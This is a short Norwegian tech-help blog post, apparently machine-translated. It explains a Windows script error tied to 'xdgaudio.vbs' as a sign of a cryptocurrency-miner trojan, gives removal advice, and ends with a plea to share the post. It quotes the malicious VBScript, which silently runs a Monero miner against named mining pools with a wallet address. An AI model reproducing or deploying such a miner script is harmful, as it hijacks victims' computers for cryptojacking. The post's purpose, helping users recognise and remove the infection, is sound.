Hvis du mottar følgende feilmelding relatert til 'xdgaudio.vbs' i systemet ditt, er datamaskinen sannsynligvis infisert.
Skript: C: windows xdgaudio.vbs
Linje: 3
Char: 1
Feil: Systemet finner ikke den spesifiserte filen.
Kode: 80070002
Kilde: (null)
Når redigert med Notisblokk, kan skriptet inneholde linjer som nedenfor:
Dim WShell Set WShell = CreateObject ('WScript.Shell') WShell.Run 'wmipvrse.exe -B --donatnivå 1 -r 100 - tråder 16 --cpu-prioritet 2 --cpu-affinitet 2 -a kryptonight -o stratum + tcp: //xmr-eu.dwarfpool.com: 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o stratum + tcp: //mine.moneropool.com: 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x', 0 Sett WShell = ingenting Dette ser absolutt ut som en CPU / cryptocurrency Miner trojan som ikke bare bremser datamaskinen din, men også kan utgjøre en sikkerhetstrussel. Skriptfilene c: windows xdgaudio.vbs og c: windows servicecrsssr.vbs skal slettes. Det er ikke nok. Kjør en grundig skanning med Malwarebytes antimalware, og skann også med antivirusprogramvaren du bruker.
For detaljerte instruksjoner om hvordan du fjerner en slik Miner Trojan, sjekk ut guiden malwaretips.com Hvordan fjerne CPU Miner Trojan fra Windows (Virus Help Guide) .
En liten forespørsel: Hvis du likte dette innlegget, vennligst del dette?
En 'liten' andel fra deg vil virkelig hjelpe mye med veksten av denne bloggen. Noen gode forslag:- Fest det!
- Del den til din favorittblogg + Facebook, Reddit
- Tweet det!